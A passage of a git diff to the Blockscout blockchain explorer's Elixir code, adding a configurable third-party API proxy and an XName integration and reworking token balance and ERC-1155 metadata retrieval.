Map.get("abi") settings = Map.get(content_json, "settings") @@ -303,15 +366,24 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do contract_name = settings |> Map.get("compilationTarget") |> Map.get("#{compilation_target_file_path}") optimizer = Map.get(settings, "optimizer") + runs = + optimizer + |> Map.get("runs") + |> (&if(Application.get_env(:explorer, :chain_type) == :zksync, + do: to_string(&1), + else: &1 + )).() + params = %{} |> Map.put("name", contract_name) |> Map.put("compiler_version", compiler_version) |> Map.put("evm_version", Map.get(settings, "evmVersion")) |> Map.put("optimization", Map.get(optimizer, "enabled")) - |> Map.put("optimization_runs", Map.get(optimizer, "runs")) + |> Map.put("optimization_runs", runs) |> Map.put("external_libraries", Map.get(settings, "libraries")) |> Map.put("verified_via_sourcify", true) + |> Map.put("compiler_settings", settings) %{ "params_to_publish" => params, @@ -323,13 +395,10 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end defp prepare_additional_source(address_hash_string, %{"name" => _name, "content" => content, "path" => path}) do - splitted_path = + trimmed_path = path |> String.split("/") - - trimmed_path = - splitted_path - |> Enum.slice(9..Enum.count(splitted_path)) + |> Enum.slice(9..-1//-1) |> Enum.join("/") %{ @@ -344,12 +413,6 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do |> Map.put("contract_source_code", content) end - def decode_json(data) do - Jason.decode!(data) - rescue - _ -> data - end - defp config(module, key) do :explorer |> Application.get_env(module) @@ -365,7 +428,7 @@ defmodule Explorer.ThirdPartyIntegrations.Sourcify do end defp verify_url_rust_microservice do - "#{RustVerifierInterface.base_api_url()}" <> "/sourcify/verify" + "#{RustVerifierInterface.base_api_url()}" <> "/verifier/sourcify/sources:verify" end defp check_by_address_url do diff --git a/apps/explorer/lib/explorer/third_party_integrations/universal_proxy.ex b/apps/explorer/lib/explorer/third_party_integrations/universal_proxy.ex new file mode 100644 index 000000000000..d4c7b5cc6eb4 --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/universal_proxy.ex @@ -0,0 +1,355 @@ +defmodule Explorer.ThirdPartyIntegrations.UniversalProxy do + @moduledoc """ + Module for universal proxying 3rd party API endpoints + """ + require Logger + alias Explorer.{Helper, HttpClient} + + @recv_timeout 60_000 + + @type api_request_params :: %{ + url: String.t() | nil, + body: String.t(), + headers: [{String.t(), String.t()}], + method: atom() | nil, + platform_config: map() | nil, + platform_id: String.t() | nil + } + + @type api_key :: %{ + location: String.t(), + param_name: String.t() + } + + @type endpoint_param :: %{ + location: String.t(), + param_name: String.t(), + param_value: String.t() + } + + @allowed_methods [:get, :post, :put, :patch, :delete] + @reserved_param_types ~w(address chain_id chain_id_dependent) + @unexpected_error "Unexpected error when calling proxied endpoint" + + @cache_name :universal_proxy_config + + @doc """ + Makes an API request to a third-party service using the provided proxy parameters. + + ## Parameters + + - `proxy_params`: A map containing the parameters for the proxy request. It must include the "platform_id" key to identify the target platform. + + ## Configuration + + The function relies on a configuration map that defines platform-specific settings. The configuration should include: + - `platforms`: A map where each key is a platform name and the value is a map with platform-specific settings. + - `base_url`: The base URL for the platform's API. + - `endpoints`: A map of endpoint configurations, including: + - `base`: A map with `path` and optional `params`. + - `api_key`: The API key for the platform, if required. + + ## Behavior + + 1. Retrieves the platform-specific configuration based on the `platform_id` key in `proxy_params`. + 2. Constructs the request URL using the `base_url` and `base` endpoint path. + 3. Parses and applies any API key and endpoint parameters. + 4. Sends the HTTP request using `Explorer.HttpClient` with the specified method, URL, headers, and body. + + ## Returns + + - On success: A tuple `{decoded_body, status}` where: + - `decoded_body`: The JSON-decoded response body. + - `status`: The HTTP status code of the response. + - On failure due to invalid configuration: A tuple `{"Invalid config: ", 422}`. + - On unexpected errors: A tuple `{"Unexpected error when calling proxied endpoint", 500}`. + + ## Errors + + The function handles the following error scenarios: + - Missing or invalid platform configuration. + - Missing `base_url`, `base` endpoint, or `base` endpoint path. + - Invalid or unsupported HTTP method. + - Unexpected errors during the HTTP request. + + ## Notes + + - The function uses the `Explorer.HttpClient` with pre-configured adapter. + - A timeout is applied to the request using the `@recv_timeout` module attribute. + """ + @spec api_request(map()) :: {any(), integer()} + def api_request(proxy_params) do + %{ + url: url, + body: body, + headers: headers, + method: method, + platform_config: platform_config, + platform_id: platform_id + } = parse_proxy_params(proxy_params) + + error_message = + cond do + !platform_config -> + "Platform '#{platform_id}' not found in config or 'platforms' property doesn't exist at all" + + is_nil(url) -> + "'base_url' is not defined for platform_id '#{platform_id}' or 'base' endpoint is not defined or 'base' endpoint path is not defined" + + is_nil(method) -> + "Invalid HTTP request method for platform '#{platform_id}'" + + true -> + "Unexpected error" + end + + with {:invalid_config, false} <- {:invalid_config, is_nil(url)}, + {:invalid_config, false} <- {:invalid_config, is_nil(method)}, + {:ok, %{status_code: status, body: body}} <- + HttpClient.request(method, url, headers, body, recv_timeout: @recv_timeout) do + {Helper.decode_json(body), status} + else + {:invalid_config, true} -> + {"Invalid config: #{error_message}", 422} + + err -> + Logger.error(fn -> ["#{@unexpected_error}: ", inspect(err)] end) + {@unexpected_error, 500} + end + end + + @doc """ + Parses the proxy parameters and constructs an API request. + + This function takes a map of proxy parameters and uses the configuration + to determine the platform-specific settings, such as the base URL, API key, + HTTP method, and endpoint parameters. It returns a map representing the API + request. + + ## Parameters + + - `proxy_params` (map): A map containing the proxy parameters, including + the `platform_id` which is used to identify the platform configuration. + + ## Returns + + - A map representing the API request with the following keys: + - `:url` (String.t | nil): The constructed URL for the API request. + - `:body` (String.t): The body of the API request (currently an empty string). + - `:headers` (list): A list of headers for the API request (currently empty). + - `:method` (atom): The HTTP method for the API request (e.g., `:get`, `:post`). + - `:platform_config` (map | nil): The configuration for the specified platform. + - `:platform_id` (String.t | nil): The ID of the platform. + + ## Notes + + - If the platform configuration or required fields are missing, the `:url` + in the returned map will be `nil`. + - The function delegates further processing of the API key and endpoint + parameters to `parse_endpoint_api_key/3` and `parse_endpoint_params/3`. + """ + @spec parse_proxy_params(map()) :: api_request_params() + def parse_proxy_params(proxy_params) do + config = config() + platform_id = proxy_params["platform_id"] + + platform_config = config["platforms"] && config["platforms"][platform_id] + endpoint_params = (platform_config && platform_config["endpoints"]["base"]["params"]) || [] + endpoint_api_key = platform_config && platform_config["api_key"] + + method = parse_method(platform_config) + + raw_url = + with true <- not is_nil(platform_config), + true <- not is_nil(platform_config["base_url"]), + endpoints = platform_config["endpoints"], + true <- not is_nil(endpoints), + base_endpoint = endpoints["base"], + true <- not is_nil(base_endpoint), + true <- not is_nil(base_endpoint["path"]) do + platform_config["base_url"] <> base_endpoint["path"] + else + _ -> + nil + end + + %{ + url: raw_url, + body: "", + headers: [], + method: method, + platform_config: platform_config, + platform_id: platform_id + } + |> parse_endpoint_api_key(endpoint_api_key, platform_id) + |> parse_endpoint_params(endpoint_params, proxy_params) + end + + @spec parse_method(map() | nil) :: atom() | nil + defp parse_method(nil), do: nil + + # sobelow_skip ["DOS.StringToAtom"] + defp parse_method(platform_config) do + raw_method = + platform_config["endpoints"]["base"]["method"] + # limit size of the input to prevent memory leak + |> String.slice(0..10) + |> String.downcase() + |> String.to_atom() + + if raw_method in @allowed_methods do + raw_method + else + nil + end + end + + @spec parse_endpoint_api_key(api_request_params(), api_key() | nil, String.t() | nil) :: api_request_params() + defp parse_endpoint_api_key(%{url: _url, headers: _headers} = map, nil, _platform_id), do: map + + defp parse_endpoint_api_key( + %{url: url, headers: headers} = map, + %{"location" => location, "param_name" => param_name} = endpoint_api_key, + platform_id + ) do + api_key_env_name = "UNIVERSAL_PROXY_" <> String.upcase(platform_id) <> "_API_KEY" + endpoint_api_key_value = System.get_env(api_key_env_name) + + case location do + "header" -> + if endpoint_api_key["prefix"] do + Map.put(map, :headers, [ + {param_name, "#{endpoint_api_key["prefix"]} #{endpoint_api_key_value}"} | headers + ]) + else + Map.put(map, :headers, [{param_name, endpoint_api_key_value} | headers]) + end + + "query" -> + updated_uri = + url + |> URI.parse() + |> URI.append_query("#{param_name}=#{endpoint_api_key_value}") + |> URI.to_string() + |> URI.encode() + + Map.put(map, :url, updated_uri) + + _ -> + map + end + end + + defp parse_endpoint_api_key(map, _endpoint_api_key, _platform_id), do: map + + @spec parse_endpoint_params(api_request_params(), [endpoint_param()], map()) :: api_request_params() + defp parse_endpoint_params(api_request_map, endpoint_params, proxy_params) do + endpoint_params + |> Enum.reduce(api_request_map, fn param, map -> + case param do + %{"location" => _location, "name" => _param_name, "value" => value} -> + parse_param_location(map, param, value) + + %{"location" => _location, "type" => "chain_id_dependent", "mapping" => mapping} -> + chain_id = proxy_params["chain_id"] + + # credo:disable-for-next-line + if is_nil(chain_id) or is_nil(mapping[chain_id]) do + map + else + parse_param_location(map, param, mapping[chain_id]) + end + + %{"location" => _location, "type" => param_type} -> + parse_param_location(map, param, proxy_params[param_type]) + + _ -> + map + end + end) + end + + @spec parse_param_location(api_request_params(), endpoint_param(), String.t()) :: api_request_params() + defp parse_param_location( + %{body: body, url: url, headers: headers} = api_request_map, + %{"location" => location} = params, + value + ) + when not is_nil(url) and not is_nil(value) do + case location do + "path" -> + if value do + Map.put(api_request_map, :url, String.replace(url, ":#{param_name(params)}", value)) + else + api_request_map + end + + "query" -> + query_param_name = param_name(params) + + updated_uri = + url + |> URI.parse() + |> URI.append_query("#{query_param_name}=#{value}") + |> URI.to_string() + |> URI.encode() + + Map.put(api_request_map, :url, updated_uri) + + "body" -> + body_param_name = param_name(params) + Map.put(api_request_map, :body, body <> "#{body_param_name}=#{value}&") + + "header" -> + header_name = param_name(params) + Map.put(api_request_map, :headers, [{header_name, value} | headers]) + + _ -> + api_request_map + end + end + + defp parse_param_location(%{body: _body, url: _url, headers: _headers} = api_request_map, _params, _value), + do: api_request_map + + defp param_name(params) do + with {:empty_param_type, false} <- {:empty_param_type, params["type"] not in @reserved_param_types}, + {:empty_param_name, false} <- {:empty_param_name, is_nil(params["name"])} do + params["name"] + else + {:empty_param_type, true} -> params["name"] + {:empty_param_name, true} -> params["type"] + end + end + + defp config do + case :persistent_term.get(@cache_name, nil) do + config_string when not is_nil(config_string) -> + safe_parse_config_string(config_string) + + nil -> + case HttpClient.get(config_url()) do + {:ok, %{status_code: 200, body: config_string}} -> + safe_parse_config_string(config_string, true) + + _ -> + %{} + end + end + end + + defp safe_parse_config_string(config_string, update_cache? \\ false) do + case Jason.decode(config_string) do + {:ok, config} -> + if update_cache?, do: :persistent_term.put(@cache_name, config_string) + config + + {:error, _} -> + %{} + end + end + + defp config_url do + Application.get_env(:explorer, __MODULE__)[:config_url] + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/xname.ex b/apps/explorer/lib/explorer/third_party_integrations/xname.ex new file mode 100644 index 000000000000..2305267d61e8 --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/xname.ex @@ -0,0 +1,50 @@ +defmodule Explorer.ThirdPartyIntegrations.Xname do + @moduledoc """ + Module for proxying xname https://xname.app/ API endpoints + """ + + require Logger + + alias Explorer.{Helper, HttpClient} + alias Explorer.Utility.Microservice + + @recv_timeout 60_000 + + @doc """ + Proxy request to XName API endpoints + """ + @spec api_request(String.t(), Plug.Conn.t(), atom()) :: {any(), integer()} + def api_request(url, conn, method \\ :get) + + def api_request(url, _conn, :get) do + headers = [{"x-api-key", api_key()}] + + case HttpClient.get(url, headers, recv_timeout: @recv_timeout) do + {:ok, %{status_code: status, body: body}} -> + {Helper.decode_json(body), status} + + {:error, reason} -> + Logger.error(fn -> + ["Error while requesting XName app API endpoint #{url}. The reason is: ", inspect(reason)] + end) + + {nil, 500} + end + end + + @doc """ + https://gateway.xname.app/xhs/level/:address_hash endpoint + """ + @spec address_url(String.t()) :: String.t() + def address_url(address_hash_string) do + "#{base_url()}/xhs/level/#{address_hash_string}" + end + + defp base_url do + Microservice.base_url(__MODULE__) + end + + defp api_key do + Application.get_env(:explorer, __MODULE__)[:api_key] + end +end diff --git a/apps/explorer/lib/explorer/token/balance_reader.ex b/apps/explorer/lib/explorer/token/balance_reader.ex index 0a093c8cd7b0..25912d102a14 100644 --- a/apps/explorer/lib/explorer/token/balance_reader.ex +++ b/apps/explorer/lib/explorer/token/balance_reader.ex @@ -27,7 +27,7 @@ defmodule Explorer.Token.BalanceReader do } ] - @erc1155_balance_function_abi [ + @nft_balance_function_abi [ %{ "constant" => true, "inputs" => [%{"name" => "_owner", "type" => "address"}, %{"name" => "_id", "type" => "uint256"}], @@ -40,7 +40,12 @@ defmodule Explorer.Token.BalanceReader do ] @spec get_balances_of([ - %{token_contract_address_hash: String.t(), address_hash: String.t(), block_number: non_neg_integer()} + %{ + token_contract_address_hash: String.t(), + address_hash: String.t(), + block_number: non_neg_integer(), + token_id: non_neg_integer() | nil + } ]) :: [{:ok, non_neg_integer()} | {:error, String.t()}] def get_balances_of(token_balance_requests) do token_balance_requests @@ -49,15 +54,60 @@ defmodule Explorer.Token.BalanceReader do |> Enum.map(&format_balance_result/1) end + @doc """ + Gets the token balances for a list of fungible tokens and a list of non-fungible tokens. + + Processes both lists together by formatting the requests appropriately and + querying the contracts for the balances. + + ## Parameters + - `ft_token_balances_requests`: List of fungible token balance requests + - `nft_token_balances_requests`: List of non-fungible token balance requests + + ## Returns + - List of tuples, each being either `{:ok, balance}` or `{:error, error_message}` + """ + @spec get_balances_of_all( + [ + %{ + token_contract_address_hash: String.t(), + address_hash: String.t(), + block_number: non_neg_integer(), + token_id: non_neg_integer() | nil + } + ], + [ + %{ + token_contract_address_hash: String.t(), + address_hash: String.t(), + block_number: non_neg_integer(), + token_id: non_neg_integer() | nil + } + ] + ) :: [{:ok, non_neg_integer()} | {:error, String.t()}] + def get_balances_of_all(ft_token_balances_requests, nft_token_balances_requests) do + ft_formatted_requests = Enum.map(ft_token_balances_requests, &format_balance_request/1) + nft_formatted_requests = Enum.map(nft_token_balances_requests, &format_erc_1155_balance_request/1) + + (ft_formatted_requests ++ nft_formatted_requests) + |> Reader.query_contracts(@balance_function_abi ++ @nft_balance_function_abi) + |> Enum.map(&format_balance_result/1) + end + @spec get_balances_of_with_abi( [ - %{token_contract_address_hash: String.t(), address_hash: String.t(), block_number: non_neg_integer()} + %{ + token_contract_address_hash: String.t(), + address_hash: String.t(), + block_number: non_neg_integer(), + token_id: non_neg_integer() | nil + } ], [%{}] ) :: [{:ok, non_neg_integer()} | {:error, String.t()}] def get_balances_of_with_abi(token_balance_requests, abi) do formatted_balances_requests = - if abi == @erc1155_balance_function_abi do + if abi == @nft_balance_function_abi do token_balance_requests |> Enum.map(&format_erc_1155_balance_request/1) else @@ -65,15 +115,27 @@ defmodule Explorer.Token.BalanceReader do |> Enum.map(&format_balance_request/1) end - if Enum.count(formatted_balances_requests) > 0 do + if Enum.empty?(formatted_balances_requests) do + [] + else formatted_balances_requests |> Reader.query_contracts(abi) |> Enum.map(&format_balance_result/1) - else - [] end end + @spec get_balances_of_erc_1155([ + %{ + token_contract_address_hash: String.t(), + address_hash: String.t(), + block_number: non_neg_integer(), + token_id: non_neg_integer() | nil + } + ]) :: [{:ok, non_neg_integer()} | {:error, String.t()}] + def get_balances_of_erc_1155(token_balance_requests) do + get_balances_of_with_abi(token_balance_requests, @nft_balance_function_abi) + end + defp format_balance_request(%{ address_hash: address_hash, block_number: block_number, diff --git a/apps/explorer/lib/explorer/token/instance_metadata_retriever.ex b/apps/explorer/lib/explorer/token/instance_metadata_retriever.ex deleted file mode 100644 index aa10d73c493b..000000000000 --- a/apps/explorer/lib/explorer/token/instance_metadata_retriever.ex +++ /dev/null @@ -1,256 +0,0 @@ -defmodule Explorer.Token.InstanceMetadataRetriever do - @moduledoc """ - Fetches ERC721 token instance metadata. - """ - - require Logger - - alias Explorer.SmartContract.Reader - alias HTTPoison.{Error, Response} - - @token_uri "c87b56dd" - - @abi [ - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [ - %{"type" => "string", "name" => ""} - ], - "name" => "tokenURI", - "inputs" => [ - %{ - "type" => "uint256", - "name" => "_tokenId" - } - ], - "constant" => true - } - ] - - @uri "0e89341c" - - @abi_uri [ - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [ - %{ - "type" => "string", - "name" => "", - "internalType" => "string" - } - ], - "name" => "uri", - "inputs" => [ - %{ - "type" => "uint256", - "name" => "_id", - "internalType" => "uint256" - } - ], - "constant" => true - } - ] - - @cryptokitties_address_hash "0x06012c8cf97bead5deae237070f9587f8e7a266d" - - @no_uri_error "no uri" - @vm_execution_error "VM execution error" - - def fetch_metadata(unquote(@cryptokitties_address_hash), token_id) do - %{"tokenURI" => {:ok, ["https://api.cryptokitties.co/kitties/#{token_id}"]}} - |> fetch_json() - end - - def fetch_metadata(contract_address_hash, token_id) do - # c87b56dd = keccak256(tokenURI(uint256)) - contract_functions = %{@token_uri => [token_id]} - - res = - contract_address_hash - |> query_contract(contract_functions, @abi) - |> fetch_json() - - if res == {:ok, %{error: @vm_execution_error}} do - contract_functions_uri = %{@uri => [token_id]} - - contract_address_hash - |> query_contract(contract_functions_uri, @abi_uri) - |> fetch_json() - else - res - end - end - - def query_contract(contract_address_hash, contract_functions, abi) do - Reader.query_contract(contract_address_hash, abi, contract_functions, false) - end - - def fetch_json(uri) when uri in [%{@token_uri => {:ok, [""]}}, %{@uri => {:ok, [""]}}] do - {:ok, %{error: @no_uri_error}} - end - - def fetch_json(uri) - when uri in [ - %{@token_uri => {:error, "(-32015) VM execution error."}}, - %{@uri => {:error, "(-32015) VM execution error."}} - ] do - {:ok, %{error: @vm_execution_error}} - end - - def fetch_json(%{@token_uri => {:error, "(-32015) VM execution error." <> _}}) do - {:ok, %{error: @vm_execution_error}} - end - - def fetch_json(%{@uri => {:error, "(-32015) VM execution error." <> _}}) do - {:ok, %{error: @vm_execution_error}} - end - - def fetch_json(%{@token_uri => {:ok, ["http://" <> _ = token_uri]}}) do - fetch_metadata(token_uri) - end - - def fetch_json(%{@uri => {:ok, ["http://" <> _ = token_uri]}}) do - fetch_metadata(token_uri) - end - - def fetch_json(%{@token_uri => {:ok, ["https://" <> _ = token_uri]}}) do - fetch_metadata(token_uri) - end - - def fetch_json(%{@uri => {:ok, ["https://" <> _ = token_uri]}}) do - fetch_metadata(token_uri) - end - - def fetch_json(%{@token_uri => {:ok, ["data:application/json," <> json]}}) do - decoded_json = URI.decode(json) - - fetch_json(%{@token_uri => {:ok, [decoded_json]}}) - rescue - e -> - Logger.debug(["Unknown metadata format #{inspect(json)}. error #{inspect(e)}"], - fetcher: :token_instances - ) - - {:error, json} - end - - def fetch_json(%{@uri => {:ok, ["data:application/json," <> json]}}) do - decoded_json = URI.decode(json) - - fetch_json(%{@token_uri => {:ok, [decoded_json]}}) - rescue - e -> - Logger.debug(["Unknown metadata format #{inspect(json)}. error #{inspect(e)}"], - fetcher: :token_instances - ) - - {:error, json} - end - - def fetch_json(%{@token_uri => {:ok, ["ipfs://ipfs/" <> ipfs_uid]}}) do - ipfs_url = "https://ipfs.io/ipfs/" <> ipfs_uid - fetch_metadata(ipfs_url) - end - - def fetch_json(%{@uri => {:ok, ["ipfs://ipfs/" <> ipfs_uid]}}) do - ipfs_url = "https://ipfs.io/ipfs/" <> ipfs_uid - fetch_metadata(ipfs_url) - end - - def fetch_json(%{@token_uri => {:ok, ["ipfs://" <> ipfs_uid]}}) do - ipfs_url = "https://ipfs.io/ipfs/" <> ipfs_uid - fetch_metadata(ipfs_url) - end - - def fetch_json(%{@uri => {:ok, ["ipfs://" <> ipfs_uid]}}) do - ipfs_url = "https://ipfs.io/ipfs/" <> ipfs_uid - fetch_metadata(ipfs_url) - end - - def fetch_json(%{@token_uri => {:ok, [json]}}) do - {:ok, json} = decode_json(json) - - check_type(json) - rescue - e -> - Logger.debug(["Unknown metadata format #{inspect(json)}. error #{inspect(e)}"], - fetcher: :token_instances - ) - - {:error, json} - end - - def fetch_json(%{@uri => {:ok, [json]}}) do - {:ok, json} = decode_json(json) - - check_type(json) - rescue - e -> - Logger.debug(["Unknown metadata format #{inspect(json)}. error #{inspect(e)}"], - fetcher: :token_instances - ) - - {:error, json} - end - - def fetch_json(result) do - Logger.debug(["Unknown metadata format #{inspect(result)}."], fetcher: :token_instances) - - {:error, result} - end - - defp fetch_metadata(uri) do - case HTTPoison.get(uri) do - {:ok, %Response{body: body, status_code: 200, headers: headers}} -> - if Enum.member?(headers, {"Content-Type", "image/png"}) do - json = %{"image" => uri} - - check_type(json) - else - {:ok, json} = decode_json(body) - - check_type(json) - end - - {:ok, %Response{body: body, status_code: 301}} -> - {:ok, json} = decode_json(body) - - check_type(json) - - {:ok, %Response{body: body}} -> - {:error, body} - - {:error, %Error{reason: reason}} -> - {:error, reason} - end - rescue - e -> - Logger.debug(["Could not send request to token uri #{inspect(uri)}. error #{inspect(e)}"], - fetcher: :token_instances - ) - - {:error, :request_error} - end - - defp decode_json(body) do - if String.valid?(body) do - Jason.decode(body) - else - body - |> :unicode.characters_to_binary(:latin1) - |> Jason.decode() - end - end - - defp check_type(json) when is_map(json) do - {:ok, %{metadata: json}} - end - - defp check_type(_) do - {:error, :wrong_metadata_type} - end -end diff --git a/apps/explorer/lib/explorer/token/metadata_retriever.ex b/apps/explorer/lib/explorer/token/metadata_retriever.ex index 304b9330b68d..98aa18aba1d3 100644 --- a/apps/explorer/lib/explorer/token/metadata_retriever.ex +++ b/apps/explorer/lib/explorer/token/metadata_retriever.ex @@ -5,10 +5,22 @@ defmodule Explorer.Token.MetadataRetriever do require Logger - alias Explorer.{Chain, Repo} + alias Explorer.{HttpClient, MetadataURIValidator, Repo} alias Explorer.Chain.{Hash, Token} + alias Explorer.Helper, as: ExplorerHelper alias Explorer.SmartContract.Reader + @no_uri_error "no uri" + @vm_execution_error "VM execution error" + @invalid_base64_data "invalid data:application/json;base64" + @default_headers [{"User-Agent", "blockscout-9.1.1"}] + + # https://eips.ethereum.org/EIPS/eip-1155#metadata + @erc1155_token_id_placeholder "{id}" + + @max_error_length 255 + + # TODO: Consider using the `EthereumJSONRPC.ERC20` module to retrieve token metadata @contract_abi [ %{ "constant" => true, @@ -84,33 +96,61 @@ defmodule Explorer.Token.MetadataRetriever do ], "payable" => false, "type" => "function" + }, + %{ + "name" => "contractURI", + "type" => "function", + "inputs" => [], + "outputs" => [ + %{ + "name" => "", + "type" => "string", + "internalType" => "string" + } + ], + "stateMutability" => "view" } ] - # 18160ddd = keccak256(totalSupply()) # 313ce567 = keccak256(decimals()) + @decimals_signature "313ce567" # 06fdde03 = keccak256(name()) + @name_signature "06fdde03" # 95d89b41 = keccak256(symbol()) + @symbol_signature "95d89b41" + # 18160ddd = keccak256(totalSupply()) + @total_supply_signature "18160ddd" @contract_functions %{ - "18160ddd" => [], - "313ce567" => [], - "06fdde03" => [], - "95d89b41" => [] + @decimals_signature => [], + @name_signature => [], + @symbol_signature => [], + @total_supply_signature => [] + } + + # e8a3d485 = keccak256(contractURI()) + @erc1155_contract_uri_signature "e8a3d485" + @erc1155_contract_uri_function %{ + @erc1155_contract_uri_signature => [] } - # 18160ddd = keccak256(totalSupply()) @total_supply_function %{ - "18160ddd" => [] + @total_supply_signature => [] } @doc """ - Read functions below in the Smart Contract given the Contract's address hash. + Read functions below in the token's smart contract given the contract's address hash. * totalSupply * decimals * name * symbol + if a token is of ERC-1155 type: + + * contractURI + + is added. + This function will return a map with functions that were read in the Smart Contract, for instance: * Given that all functions were read: @@ -130,17 +170,19 @@ defmodule Explorer.Token.MetadataRetriever do It will retry to fetch each function in the Smart Contract according to :token_functions_reader_max_retries configured in the application env case one of them raised error. """ - @spec get_functions_of([String.t()] | Hash.t() | String.t()) :: map() | {:ok, [map()]} - def get_functions_of(hashes) when is_list(hashes) do + @spec get_functions_of([Token.t()] | Token.t()) :: map() | {:ok, [map()]} + def get_functions_of(tokens) when is_list(tokens) do requests = - hashes - |> Enum.flat_map(fn hash -> + tokens + |> Enum.flat_map(fn token -> @contract_functions |> Enum.map(fn {method_id, args} -> - %{contract_address: hash, method_id: method_id, args: args} + %{contract_address: token.contract_address_hash, method_id: method_id, args: args} end) end) + hashes = Enum.map(tokens, fn token -> token.contract_address_hash end) + updated_at = DateTime.utc_now() fetched_result = @@ -150,7 +192,7 @@ defmodule Explorer.Token.MetadataRetriever do |> Enum.zip(hashes) |> Enum.map(fn {result, hash} -> formatted_result = - ["name", "totalSupply", "decimals", "symbol"] + [@name_signature, @total_supply_signature, @decimals_signature, @symbol_signature] |> Enum.zip(result) |> format_contract_functions_result(hash) @@ -159,35 +201,114 @@ defmodule Explorer.Token.MetadataRetriever do |> Map.put(:updated_at, updated_at) end) - {:ok, fetched_result} - end - - def get_functions_of(%Hash{byte_count: unquote(Hash.Address.byte_count())} = address) do - address_string = Hash.to_string(address) + erc_1155_tokens = tokens |> Enum.filter(fn token -> token.type == "ERC-1155" end) + + processed_result = + if Enum.empty?(erc_1155_tokens) do + fetched_result + else + fetched_result + |> Enum.reduce([], fn token, acc -> + # # credo:disable-for-lines:2 + updated_token = + if Enum.any?(erc_1155_tokens, &(&1.contract_address_hash == token.contract_address_hash)) do + try_to_fetch_erc_1155_name(token, token.contract_address_hash, "ERC-1155") + else + token + end + + [updated_token | acc] + end) + |> Enum.reverse() + end - get_functions_of(address_string) + {:ok, processed_result} end - def get_functions_of(contract_address_hash) when is_binary(contract_address_hash) do - res = + def get_functions_of(%Token{contract_address_hash: contract_address_hash, type: type}) do + base_metadata = contract_address_hash |> fetch_functions_from_contract(@contract_functions) |> format_contract_functions_result(contract_address_hash) - if res == %{} do + metadata = try_to_fetch_erc_1155_name(base_metadata, contract_address_hash, type) + + if metadata == %{} do token_to_update = Token |> Repo.get_by(contract_address_hash: contract_address_hash) - |> Repo.preload([:contract_address]) set_skip_metadata(token_to_update) end - res + metadata + end + + defp try_to_fetch_erc_1155_name(base_metadata, contract_address_hash, token_type) do + if token_type == "ERC-1155" && !Map.has_key?(base_metadata, :name) do + erc_1155_name_uri = + contract_address_hash + |> fetch_functions_from_contract(@erc1155_contract_uri_function) + |> format_contract_functions_result(contract_address_hash) + + case erc_1155_name_uri do + %{:name => name} when is_binary(name) -> + sanitized_name = String.trim(name) + uri = {:ok, [sanitized_name]} + + with {:ok, %{metadata: metadata}} <- uri |> fetch_json(nil, nil, false) |> parse_fetch_json_response(), + true <- Map.has_key?(metadata, "name"), + false <- is_nil(metadata["name"]) do + name_metadata = %{:name => metadata["name"]} + + Map.merge(base_metadata, name_metadata) + else + _ -> base_metadata + end + + _ -> + base_metadata + end + else + base_metadata + end + end + + @doc """ + Parses the response from metadata fetching. + + ## Parameters + - response: tuple containing either: + - `{:ok_store_uri, metadata, uri}` - when metadata was successfully fetched and uri should be stored + - `{:ok, result}` - when metadata was successfully fetched but not uri should be stored + - `{:error, reason}` - when metadata fetch failed + + ## Returns + - `{:ok, metadata}` + - `{:error, reason}` + + ## Examples + iex> parse_fetch_json_response({:ok_store_uri, %{name: "Token"}, "ipfs://..."}) + {:ok, %{name: "Token"}} + + iex> parse_fetch_json_response({:ok, %{name: "Token"}}) + {:ok, %{name: "Token"}} + + iex> parse_fetch_json_response({:error, "Failed to fetch"}) + {:error, "Failed to fetch"} + """ + @spec parse_fetch_json_response({:ok | :error, any()} | {:ok_store_uri, any(), any()}) :: + {:ok, any()} | {:error, any()} + def parse_fetch_json_response({:ok_store_uri, metadata, _uri}) do + {:ok, metadata} + end + + def parse_fetch_json_response(other) do + other end - def set_skip_metadata(token_to_update) do - Chain.update_token(%{token_to_update | updated_at: DateTime.utc_now()}, %{skip_metadata: true}) + defp set_skip_metadata(token_to_update) do + Token.update(token_to_update, %{skip_metadata: true}) end def get_total_supply_of(contract_address_hash) when is_binary(contract_address_hash) do @@ -266,16 +387,14 @@ defmodule Explorer.Token.MetadataRetriever do contract_functions |> handle_invalid_strings(contract_address_hash) |> handle_large_strings + |> limit_decimals end - defp atomized_key("decimals"), do: :decimals - defp atomized_key("name"), do: :name - defp atomized_key("symbol"), do: :symbol - defp atomized_key("totalSupply"), do: :total_supply - defp atomized_key("313ce567"), do: :decimals - defp atomized_key("06fdde03"), do: :name - defp atomized_key("95d89b41"), do: :symbol - defp atomized_key("18160ddd"), do: :total_supply + defp atomized_key(@name_signature), do: :name + defp atomized_key(@symbol_signature), do: :symbol + defp atomized_key(@decimals_signature), do: :decimals + defp atomized_key(@total_supply_signature), do: :total_supply + defp atomized_key(@erc1155_contract_uri_signature), do: :name # It's a temp fix to store tokens that have names and/or symbols with characters that the database # doesn't accept. See https://github.com/blockscout/blockscout/issues/669 for more info. @@ -316,8 +435,10 @@ defmodule Explorer.Token.MetadataRetriever do end end + @spec format_according_contract_address_hash(Hash.Address.t()) :: binary defp format_according_contract_address_hash(contract_address_hash) do - String.slice(contract_address_hash, 0, 6) + contract_address_hash_string = Hash.to_string(contract_address_hash) + String.slice(contract_address_hash_string, 0, 6) end defp handle_large_strings(%{name: name, symbol: symbol} = contract_functions) do @@ -342,10 +463,534 @@ defmodule Explorer.Token.MetadataRetriever do defp handle_large_string(nil), do: nil defp handle_large_string(string), do: handle_large_string(string, byte_size(string)) - defp handle_large_string(string, size) when size > 255, do: binary_part(string, 0, 255) + + defp handle_large_string(string, size) when size > 255, + do: string |> binary_part(0, 255) |> String.chunk(:valid) |> List.first() + defp handle_large_string(string, _size), do: string + defp limit_decimals(%{decimals: decimals} = contract_functions) do + if decimals > 78 do + %{contract_functions | decimals: nil} + else + contract_functions + end + end + + defp limit_decimals(contract_functions), do: contract_functions + defp remove_null_bytes(string) do String.replace(string, "\0", "") end + + @doc """ + Generates an IPFS link for the given unique identifier (UID). + + ## Parameters + + - uid: The unique identifier for which the IPFS link is to be generated. + - public_gateway?: A boolean indicating whether to use the public IPFS gateway. + + ## Returns + + - A string representing the IPFS 